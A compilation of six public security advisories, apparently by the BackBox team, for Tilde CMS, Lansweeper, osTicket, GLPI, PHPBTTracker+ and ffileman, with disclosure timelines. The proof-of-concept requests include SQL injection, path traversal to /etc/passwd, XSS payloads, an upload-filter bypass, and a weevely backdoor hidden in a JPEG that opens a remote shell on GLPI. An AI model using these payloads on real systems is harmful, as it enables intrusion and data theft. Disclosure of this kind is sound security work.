Tilde CMS v1.01, Multiple Vulnerabilities

# Authors: Paolo Forte, Raffaele Forte
# Vendor Homepage: http://www.tildenetwork.com
# Version: Tilde CMS v1.0.1
# Tested on: Ubuntu 12.04, PHP 5.3.10

I. INTRODUCTION
Tilde CMS is closed-source content management system created by tildenetwork.com

II. DESCRIPTION
The web application suffers of multiple vulnerabilities.

1. SQL Injection (CVE-2017-11324)

Due to missing escaping of the backtick character, the following query in the source code is vulnerable:

[class.SystemAction.php]

$SQL_string = "SELECT * FROM `form_table_".$id_form."` WHERE ID='$idForm'";
$SQL_oldData = @mysql_query($SQL_string,$this->DB_conn);

The vulnerability can be trigged via a POST request as shown in the following PoC:

POST /actionphp/action.input.php HTTP/1.1
ActionForm=SendForm&TotalQuery=653&TotalCompiled=2&id=1` WHERE SLEEP(5)-- aaa &idForm=1234567890

The resulting query on the server-side will be:

SELECT * FROM `form_table_1` WHERE SLEEP(5)-- aaa ` WHERE ID='1234567890'

For a succesful exploitation, the table “form_table_1” must be valid.

2. Path Traversal (CVE-2017-11325)

The vulnerabilty exists on this method:

GET /actionphp/download.File.php?&file=../../../../../../etc/passwd

3. Arbitrary Files Upload (CVE-2017-11326)

It is possible to bypass the implemented restrictions shown in the following snippet of the code:

$file=$_FILES['file'.$i]['tmp_name'];
if (($file!="")&&($file!="none")) {
    $source_file=$file;
    $file_name=$_FILES['file'.$i]['name'];
    $file_name=str_replace(".php",".txt",$file_name);
    $file_name=str_replace(" ","_",$file_name);
    $file_name=str_replace("+","",$file_name);

A file named “filename.+php” will be renamed in “filename.php”, therefore successfully uploaded.

4. Insecure Direct Object References (CVE-2017-11327)

It is possible to retrieve sensitive resources by using direct references.
A low privileged user can load the PHP resources such as:

    admin/content.php
    admin/content.php?method=ftp_upload

IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information.

V. SYSTEMS AFFECTED
Tilde CMS v1.01 is vulnerable (probably all previous versions)

VI. VULNERABILITY HISTORY
July 6th, 2017: Vulnerability identification
July 7th, 2017: Vendor notification
July 13th, 2017: CVE-ID reserved

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information.

Lansweeper v6.0.0.63, XSS Vulnerability

# Discovered by: Giovanni Cerrato, Giovanni Guido (BackBox Team)
# Vendor Homepage: https://www.lansweeper.com/
# Version: Lansweeper 6.0.0.63

 

I. INTRODUCTION

Lansweeper an Asset Management and Network Inventory Tool (v6.0.0.63 and probably all previous versions) is affected by a XSS vulnerability.

 

II. DESCRIPTION

The application is affected by Cross Site Scripting vulnerabilities.

An attacker can use this vulnerability to construct a request that, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user’s browser in the context of that user’s session with the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes. Reference: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

The vulnerable function seems doesn’t require authentication to be executed.

  • URL: hostname/GlobalActions.aspx?action=getthumbnail
  • Vulnerable parameters: username, userdomain, upn
  • Method: POST

 

III. PROOF OF CONCEPT

The vulnerability can be trigged via a POST request as shown in the following PoC’s.

Payload username parameter:

POST /GlobalActions.aspx?action=getthumbnail HTTP/1.1
type=1&id=-2&size=75&username=<script>alert(1)</script>&userdomain=&upn=

Payload userdomain parameter:

POST /GlobalActions.aspx?action=getthumbnail HTTP/1.1
type=1&id=-2&size=75&username=test&userdomain=<script>alert(1)</script>&upn=

Payload upn parameter:

POST /GlobalActions.aspx?action=getthumbnail HTTP/1.1
type=1&id=-2&size=75&username=test&userdomain=&upn=<script>alert(1)</script>

 

IV. BUSINESS IMPACT

An attacker could perform a wide variety of actions such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes.

 

V. SYSTEMS AFFECTED

Version 6.0.0.63 is vulnerable (probably all previous versions).

 

VI. REFERENCES

https://www.lansweeper.com/changelog.aspx BUG: #542782
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9292

 

VII. CREDITS

The vulnerability has been discovered by the BackBox Team:

Giovanni Cerrato, giovanni(dot)cerrato(at)aizoon(dot)it
Giovanni Guido, giovanni(dot)guido(at)aizoon(dot)it

 

VIII. ADVISORY TIMELINE

April 21th, 2017: Vulnerability identification
April 21th, 2017: First contact with vendor
April 26th, 2017: Vendor notified
April 26th, 2017: Vendor response; investigating
May 2th, 2017: Vendor says that the vulnerability will be fixed in the new version
May 11th, 2017: Vulnerabilty fixed (Bug 542782)
May 23th, 2017: CVE Requested
May 29th, 2017: CVE received – “CVE-2017-9292”

 

IX. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

osTicket v1.9.12, Multiple Vulnerabilities

# Authors: Giovanni Cerrato, Enrico Cinquini
# Vendor Homepage: http://osticket.com/
# Version: osTicket v.1.9.12

 

I. INTRODUCTION

Last version of osTicket (v1.9.12) is affected by multiple vulnerabilities.

 

II. DESCRIPTION

The web application suffers of multiple vulnerabilities.

1. Upload HTML file

It is possible to upload files attached to a ticket at URL:
https://hostname/upload/open.php

There are some controls to block not allowed file (e.g php,html) but they are only client-side and not server-side so they can be easily bypassed using tool like Burp suite.They will be uploaded and reachable at specific URL like the following example:
https://hostname/file.php?key=qycj1msethqx49ilidrwxrurvebbsipa&expires=1447372800&signature=6ee71ea7dee17cac30a884f4cf823c6734e1115d

This vulnerability could be used for example to perform XSS attack or to upload a fake login page.

2. Missing funcition level access control

It is possible to access to some contents of the web application without authentication. It is allowed to view all ticket attachment only by calling their URLs like following:
https://hostname/file.php?key=qycj1msethqx49ilidrwxrurvebbsipa&expires=1447372800&signature=6ee71ea7dee17cac30a884f4cf823c6734e1115d

This vulnerability combined with unrestricted HTML upload can be used to realize phishing and/or XSS attack via email. To achieve this tasks anyone needs to upload an HTML file containing malicious Javascript or phishing page and then spread the associated URL.

3. Stored Cross Site Scripting

The application is vulnerable to some stored XSS attack.

URL: https://hostname/scp/users.php
Functionality: Add User
Form parameter affected: Internal Notes

URL: https://hostname/scp/orgs.php
Functionality: Add Organization
Form parameter affected: Name, Internal Notes

URL https://hostname/scp/categories.php
Functionality: Add New Category
Form parameter affected: Category Description, Internal Notes

URL https://hostname/scp/departments.php
Functionality: Add New Department
Form parameter affected: Department Signature

URL: https://hostname/scp/teams.php
Functionality: Add New Team
Form parameter affected: Admin Notes, Name

URL: https://hostname/scp/groups.php
Functionality: Add New Group
Form parameter affected: Admin Notes

URL: https://hostname/scp/banlist.php
Functionality: Ban New Email
Form parameter affected: Admin Notes

URL: https://hostname/scp/profile.php
Functionality: Edit profile
Form parameter affected: Signature

A proof of concept can be obtained using the following Javascript code:
<IFRAME onload=alert(1);></IFRAME>

4. Session fixation

The application does not regenerate session id cookie (OSTSESESSID) after authentication so it is prone to session fixation attack. This vulnerability can be used to hijack a valid user session.

 

III. BUSINESS IMPACT

An attacker could upload malicious file, hijack a valid user session, perform XSS or phishing attacks and access to sensible information.

 

IV. SYSTEMS AFFECTED

Version 1.9.12 is vulnerable.

 

V. SOLUTION

It’s necessary to:

  • implement a strong upload filter to prevent the upload of malicious file
  • implement an input validation mechanism to avoid being vulnerable to XSS injection
  • review and correct access control to prevent that unauthenticated users can access to sensible documents

 

VI. ADVISORY TIMELINE

November 10th, 2015: Vulnerability identification
November 17th, 2015: First contact with vendor
November 19th, 2015: Vendor notified
November 25th, 2015: Asking for status update
November 30th, 2015: Vendor response; investigating
December 16th, 2015: Asking for status update
December 18th, 2015: Vendor says that the vulnerabilities will be fixed in the new version
January 11th, 2016: Provided more details to vendor
January 25th, 2016: Asking for status update
February 02th, 2016: Advised vendor public disclosure date will be February 04th
February 02th, 2016: Vendor provides status update(still investigating)
February 04th, 2016: Public disclosure

 

VII. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

GLPI v0.85.5, RCE through file upload filter bypass

# Author: Raffaele Forte
# Vendor Homepage: http://www.glpi-project.org/
# Software Link: https://forge.glpi-project.org/attachments/download/2093/glpi-0.85.5.tar.gz
# Version: GLPI v0.85.5
# Tested on: CentOS release 6.7 (Final), PHP 5.3.3

 

I. INTRODUCTION

GLPI is the Information Resource-Manager with an additional Administration-Interface. You can use it to build up a database with an inventory for your company (computer, software, printers…). It has enhanced functions to make the daily life for the administrators easier, like a job-tracking-system with mail-notification and methods to build a
database with basic information about your network-topology.

 

II. DESCRIPTION

The application allows users to upgrade their own profile. The user has the possibility to add a new photo as attachment.

The photo that he uploads will be stored into “GLPI_ROOT/files/_pictures/”.

This file, for example named “photo.jpeg”, will be directly accessible through “http://host/GLPI_ROOT/files/_pictures/XXXX.jpeg”, where “XXXX” is an ID automatically generated by the system and visible in the HTML
source code.

Besides, the server does not check the extension of the uploaded file, but only the first bytes within it, that indicates which kind of file is.

Exploiting this flaw, an attacker may upload a tampered jpeg file that contains php code placed at the end of the file, so that, just changing the file extention to “.php”, by default the php code will be interpreted!

To trigger this vulnerability it is necessary to have an account.

This vulnerability is a combination of two issues:

  • predictable uploaded file names and path
  • upload of any kind of file, not limited to images

 

III. PROOF OF CONCEPT

Generate backdoor:

user@backbox:~$ weevely generate pass123 /tmp/bd.php
user@backbox:~$ file /tmp/photo.jpeg 
/tmp/photo.jpeg: JPEG image data, JFIF standard 1.02
user@backbox:~$ cat /tmp/bd.php >> /tmp/photo.jpeg
user@backbox:~$ mv /tmp/photo.jpeg /tmp/photo.php

Upload the new tampered photo in GLPI > Settings

Run terminal to the target:

user@backbox:~$ weevely http://host/GLPI_ROOT/files/_pictures/XXXX.php pass123

 

IV. BUSINESS IMPACT

By uploading a interpretable php file, an attacker may be able to execute arbitrary code on the server.

This flaw may compromise the integrity of the system and/or expose sensitive information.

 

V. SYSTEMS AFFECTED

GLPI Version 0.85.5 is vulnerable (probably all previous versions)

 

VI. VULNERABILITY HISTORY

September 7th, 2015: Vulnerability identification
September 25th, 2015: Vendor notification

 

VII. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information.

PHPBTTracker+ v2.2, SQL Injection

# Exploit Author: BackBox Team
# Vendor Homepage: http://phpbttrkplus.sourceforge.net/
# Software Link: http://sourceforge.net/projects/phpbttrkplus/files/
# Version: PHPBTTracker+ v2.2
# Tested on: PHP 5.4.27, Apache 2.4.9, MySQL >= 5.0.0

 

I. INTRODUCTION

SQL Injection through User-Agent.

User agent is an HTTP header section provided by application used by the original client. This is used for statistical purposes and the protocol violation tracing. The first white space delimited word must include the product name with an optional slash and version number.

User agent injection is a critical issue for web applications. In this specific case it’s worthed to do an investigation on the header section of user-agent to see if there is any malformation that will allow an SQLi.

Example:

GET /tracker.php
User-Agent: Transmission/2.51' OR (SLEEP(20)) AND 'aaaa'='aaaa
Host: [host]
Accept: */*
Accept-Encoding: gzip;q=1.0, deflate, identity

 

II. BACKGROUND

BitTorrent tracker protocol is used by clients to request the IP addresses of other peers associated with a torrent, and to exchange the client’s transfer statistics. Clients connect to a centralized server, known as a *tracker*, which stores their IP addresses and responds with the IP addresses of other clients (also known as *peers*). The tracker has no knowledge about the association of the nodes and their pieces (it functions only as bridge between clients).

The standard tracker protocol is based on HTTP, with request data encoded as query parameters (as used by HTML forms) and response data BEncoded.

Query parameters must be encoded according to the rules for HTML form submissions through HTTP GET: ‘reserved character’ bytes are encoded in hexadecimal as %HH, and space is encoded as “+”; names and values are joined with “=” and the pairs joined with “&”.

The tracker’s URL announce is obtained from the announce entry of the root dictionary of the torrent metadata file.

Clients announce themselves by sending a GET request to the tracker’s URL announce with “?” and the following parameters (encoded as above) appended:

info_hash
The 20 byte sha1 hash of the bencoded form of the info value from the metainfo file. Note that this is a substring of the metainfo file. Don’t forget to URL-encode this.

peer_id
A string of length 20 which the downloader uses as its id. Each downloader generates its own id at random at the start of a new download. Don’t forget to URL-encode this.

port
Port number that the peer is listening on. Common behavior is for a downloader to try to listen on port 6881 and if that port is taken try 6882, then 6883, etc. and give up after 6889.

uploaded
Total amount uploaded so far, represented in base ten in ASCII.

downloaded
Total amount downloaded so far, represented in base ten in ASCII.

left
Number of bytes that a specific client still has to download, represented in base ten in ASCII. Note that this can’t be computed from downloaded and the file length since the client might be resuming an earlier download, and there is a chance that some of the downloaded data failed an integrity check and had to be re-downloaded.

event
Optional key which maps to started, completed, or stopped (or empty, which is the same as not being present). If not present, this is one of the announcements done at regular intervals. An announcement using started is sent when a download first begins, and one using completed is sent when the download is complete. No completed is
sent if the file was complete when started. Downloaders should send an announcement using ‘stopped’ when they cease downloading, if they can.

Example:

http://hostname/announce
?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4
&peer_id=
&port=51413
&uploaded=0
&downloaded=0
&left=0
&event=started

 

III. DESCRIPTION

In order to exploit the vulnerability the torrent has to be managed by the tracker. First we need to extract the GET request, and parse out the parameter “info_hash”, a proxy or a traffic sniffer like Wireshark can help us to do that.

Example:

GET /phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started HTTP/1.1
User-Agent: Transmission/2.51
Host: hostname
Accept: */*
Accept-Encoding: gzip;q=1.0, deflate, identity

Then it’s possible to inject SQL commands inside the User-Agent field.

 

IV. PROOF OF CONCEPT

Is it possible to verify the vulnerability by using, for example, sqlmap or curl…

* Using SQLMap

raffaele@backbox:~$ sqlmap -u "http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started" -o --level 3 -p user-agent

User-Agent parameter 'User-Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 318 HTTP(s) requests:

Place: User-Agent
Parameter: User-Agent
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: sqlmap/1.0-dev-0f581cc (http://sqlmap.org)" RLIKE (SELECT (CASE WHEN (6960=6960) THEN 0x73716c6d61702f312e302d6465762d306635383163632028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND "mhBW"="mhBW

* Using curl

raffaele@backbox:~$ curl "http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started" -A 'asd" OR (SLEEP(15)) AND "'
[...]
d8:intervali1800e12:min intervali300e5:peersld2:ip9:127.0.0.17:peer id20:4:porti51413eed2:ip9:127.0.0.17:peer id20:04:porti51413eee10:tracker id4:1131e

 

V. BUSINESS IMPACT

An attacker could execute arbitrary SQL queries on the vulnerable system. This may compromise the integrity of database and/or expose sensitive information.

 

VI. SYSTEMS AFFECTED

PHPBTTracker+ Version 2.2 is vulnerable (probably v2.x and RivetTracker v1.x too)

 

VII. REFERENCES

  • http://resources.infosecinstitute.com/sql-injection-http-headers
  • https://wiki.theory.org/BitTorrent_Tracker_Protocol

 

VIII. CREDITS

The vulnerability has been discovered by BackBox Linux Team

 

IX. VULNERABILITY HISTORY

May 13th, 2014: Vulnerability identification
May ??th, 2014: Vendor notification
May ??th, 2014: Vulnerability disclosure

 

X. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

ffileman v7.0, Directory Traversal Vulnerability

# Author: Raffaele Forte
# Vendor Homepage: https://f-fileman.sourceforge.io/
# Version: ffileman v7.0
# Tested on: Linux

 

I. DESCRIPTION

Directory traversal vulnerabilities has been found in ffileman 7.0 a web based file and directory manager written with Perl.

The vulnerability can be exploited to access local files by entering special characters in variables used to create file paths. The attackers use “../” sequences to move up to root directory, thus permitting navigation through the file system.

The issue discovered can only be exploited with an authenticated session and setting the variable “direkt” like below with a HTTP GET or POST request.

 

Request:

GET http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=../../../../../../../../&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory HTTP/1.1
Host: [webserver IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=[original path]&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory

 

VI. VULNERABILITY HISTORY
July 17th, 2009: Fixed with version 8.0

 

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information.